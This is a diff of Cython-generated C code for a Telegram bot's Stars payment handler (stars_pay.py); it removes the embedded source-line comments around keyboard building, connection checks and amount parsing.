"handlers/payments/stars_pay.py":70 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ) - */ __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) @@ -4540,13 +4291,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":71 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ) - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) @@ -4564,13 +4308,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":69 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; @@ -4602,55 +4339,20 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } __pyx_L8:; - /* "handlers/payments/stars_pay.py":55 - * ) - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":74 - * ) - * ) - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=" ", - */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - /* "handlers/payments/stars_pay.py":75 - * ) - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=" ", - * callback_data="enter_custom_amount_stars", - */ __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - /* "handlers/payments/stars_pay.py":76 - * builder.row( - * InlineKeyboardButton( - * text=" ", # <<<<<<<<<<<<<< - * callback_data="enter_custom_amount_stars", - * ) - */ __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 76, __pyx_L1_error) if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_stars) < 0) __PYX_ERR(0, 76, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":75 - * ) - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=" ", - * callback_data="enter_custom_amount_stars", - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; @@ -4680,13 +4382,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":80 - * ) - * ) - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< - * - * key_count = await get_key_count(tg_id) - */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) @@ -4724,13 +4419,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":82 - * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) - * - * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< - * - * if key_count == 0: - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; @@ -4777,23 +4465,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":84 - * key_count = await get_key_count(tg_id) - * - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(tg_id) - * if not exists: - */ __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 84, __pyx_L1_error) if (__pyx_t_2) { - /* "handlers/payments/stars_pay.py":85 - * - * if key_count == 0: - * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< - * if not exists: - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - */ __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; @@ -4840,24 +4514,10 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":86 - * if key_count == 0: - * exists = await check_connection_exists(tg_id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - */ __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 86, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - /* "handlers/payments/stars_pay.py":87 - * exists = await check_connection_exists(tg_id) - * if not exists: - * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< - * - * try: - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 87, __pyx_L1_error) @@ -4895,31 +4555,10 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } } - /* "handlers/payments/stars_pay.py":86 - * if key_count == 0: - * exists = await check_connection_exists(tg_id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - */ } - /* "handlers/payments/stars_pay.py":84 - * key_count = await get_key_count(tg_id) - * - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(tg_id) - * if not exists: - */ } - /* "handlers/payments/stars_pay.py":89 - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ { __Pyx_ExceptionSave(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); __Pyx_XGOTREF(__pyx_t_16); @@ -4927,13 +4566,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __Pyx_XGOTREF(__pyx_t_18); /*try:*/ { - /* "handlers/payments/stars_pay.py":90 - * - * try: - * await callback_query.message.delete() # <<<<<<<<<<<<<< - * except Exception as e: - * logger.error(f" : {e}") - */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 90, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_delete); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L15_error) @@ -4996,13 +4628,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } } - /* "handlers/payments/stars_pay.py":89 - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ } __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; @@ -5019,13 +4644,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - /* "handlers/payments/stars_pay.py":91 - * try: - * await callback_query.message.delete() - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ __pyx_t_19 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_19) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -5038,13 +4656,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_cur_scope->__pyx_v_e = __pyx_t_6; /*try:*/ { - /* "handlers/payments/stars_pay.py":92 - * await callback_query.message.delete() - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 92, __pyx_L27_error) @@ -5081,13 +4692,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - /* "handlers/payments/stars_pay.py":91 - * try: - * await callback_query.message.delete() - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -5140,13 +4744,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } goto __pyx_L17_except_error; - /* "handlers/payments/stars_pay.py":89 - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ __pyx_L17_except_error:; __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); @@ -5161,37 +4758,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_L20_try_end:; } - /* "handlers/payments/stars_pay.py":94 - * logger.error(f" : {e}") - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" :", - * reply_markup=builder.as_markup(), - */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_answer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - /* "handlers/payments/stars_pay.py":95 - * - * await callback_query.message.answer( - * text=" :", # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __pyx_t_7 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_kp_u__7) < 0) __PYX_ERR(0, 95, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":96 - * await callback_query.message.answer( - * text=" :", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_14 = NULL; @@ -5219,13 +4795,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/stars_pay.py":94 - * logger.error(f" : {e}") - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" :", - * reply_markup=builder.as_markup(), - */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -5250,13 +4819,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } } - /* "handlers/payments/stars_pay.py":99 - * ) - * - * await state.set_state(ReplenishBalanceState.choosing_amount_stars) # <<<<<<<<<<<<<< - * - * - */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L1_error) @@ -5308,13 +4870,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/stars_pay.py":32 - * - * - * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< - * async def process_callback_pay_stars( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -5343,13 +4898,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout } static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/stars_pay.py":102 - * - * - * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_4process_amount_selection(PyObject *__pyx_self, @@ -5558,13 +5106,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 102, __pyx_L1_error) - /* "handlers/payments/stars_pay.py":106 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) @@ -5577,24 +5118,10 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/stars_pay.py":108 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * try: - * await callback_query.message.delete() - */ __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 108, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { - /* "handlers/payments/stars_pay.py":109 - * - * if len(data) != 2: - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ { __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); __Pyx_XGOTREF(__pyx_t_5); @@ -5602,13 +5129,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XGOTREF(__pyx_t_7); /*try:*/ { - /* "handlers/payments/stars_pay.py":110 - * if len(data) != 2: - * try: - * await callback_query.message.delete() # <<<<<<<<<<<<<< - * except Exception as e: - * logger.error(f" : {e}") - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_delete); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 110, __pyx_L5_error) @@ -5671,13 +5191,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":109 - * - * if len(data) != 2: - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ } __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -5688,13 +5201,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/stars_pay.py":111 - * try: - * await callback_query.message.delete() - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_10) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -5707,13 +5213,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_cur_scope->__pyx_v_e = __pyx_t_8; /*try:*/ { - /* "handlers/payments/stars_pay.py":112 - * await callback_query.message.delete() - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * - * await callback_query.message.answer(" .") - */ __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_logger); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 112, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 112, __pyx_L17_error) @@ -5750,13 +5249,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } - /* "handlers/payments/stars_pay.py":111 - * try: - * await callback_query.message.delete() - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ /*finally:*/ { /*normal exit:*/{ __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); @@ -5807,13 +5299,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } goto __pyx_L7_except_error; - /* "handlers/payments/stars_pay.py":109 - * - * if len(data) != 2: - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ __pyx_L7_except_error:; __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); @@ -5828,13 +5313,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_L10_try_end:; } - /* "handlers/payments/stars_pay.py":114 - * logger.error(f" : {e}") - * - * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) @@ -5882,46 +5360,18 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":115 - * - * await callback_query.message.answer(" .") - * return # <<<<<<<<<<<<<< - * - * amount_str = data[1] - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/stars_pay.py":108 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * try: - * await callback_query.message.delete() - */ } - /* "handlers/payments/stars_pay.py":117 - * return - * - * amount_str = data[1] # <<<<<<<<<<<<<< - * try: - * amount = int(amount_str) - */ __pyx_t_2 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":118 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ { __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_6, &__pyx_t_5); __Pyx_XGOTREF(__pyx_t_7); @@ -5929,26 +5379,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XGOTREF(__pyx_t_5); /*try:*/ { - /* "handlers/payments/stars_pay.py":119 - * amount_str = data[1] - * try: - * amount = int(amount_str) # <<<<<<<<<<<<<< - * except ValueError: - * try: - */ __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_amount = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/stars_pay.py":118 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ } __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -5963,13 +5399,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/stars_pay.py":120 - * try: - * amount = int(amount_str) - * except ValueError: # <<<<<<<<<<<<<< - * try: - * await callback_query.message.delete() - */ __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_15) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -5978,13 +5407,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_8); - /* "handlers/payments/stars_pay.py":121 - * amount = int(amount_str) - * except ValueError: - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ { __Pyx_ExceptionSave(&__pyx_t_22, &__pyx_t_21, &__pyx_t_20); __Pyx_XGOTREF(__pyx_t_22); @@ -5992,13 +5414,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XGOTREF(__pyx_t_20); /*try:*/ { - /* "handlers/payments/stars_pay.py":122 - * except ValueError: - * try: - * await callback_query.message.delete() # <<<<<<<<<<<<<< - * except Exception as e: - * logger.error(f" : {e}") - */ __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 122, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_delete); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 122, __pyx_L32_error) @@ -6091,13 +5506,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou } } - /* "handlers/payments/stars_pay.py":121 - * amount = int(amount_str) - * except ValueError: - * try: # <<<<<<<<<<<<<< - * await callback_query.message.delete() - * except Exception as e: - */ } __Pyx_XDECREF(__pyx_t_22); __pyx_t_22 = 0; __Pyx_XDECREF(__pyx_t_21); __pyx_t_21 = 0; @@ -6109,13 +5517,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/stars_pay.py":123 - * try: - * await callback_query.message.delete() - * except Exception as e: # <<<<<<<<<<<<<< - * logger.error(f" : {e}") - * - */ __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_15) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); @@ -6128,13 +5529,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_cur_scope->__pyx_v_e = __pyx_t_14; /*try:*/ { - /* "handlers/payments/stars_pay.py":124 - * await callback_query.message.delete() - * except Exception as e: - * logger.error(f" : {e}") # <<<<<<<<<<<<<< - * - * await callback_query.message.answer(" .") - */ __Pyx_GetModuleGlobalName(__pyx_t_23, __pyx_n_s_logger); if (unlikely(!__pyx_t_23)) __PYX_ERR(0, 124, __pyx_L46_error) __Pyx_GOTREF(__pyx_t_23); __pyx_t_24 = __Pyx_PyObject_GetAttrStr(__pyx_t_23, __pyx_n_s_error); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 124, __pyx_L46_error) @@ -6171,13 +5565,6 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } - /* 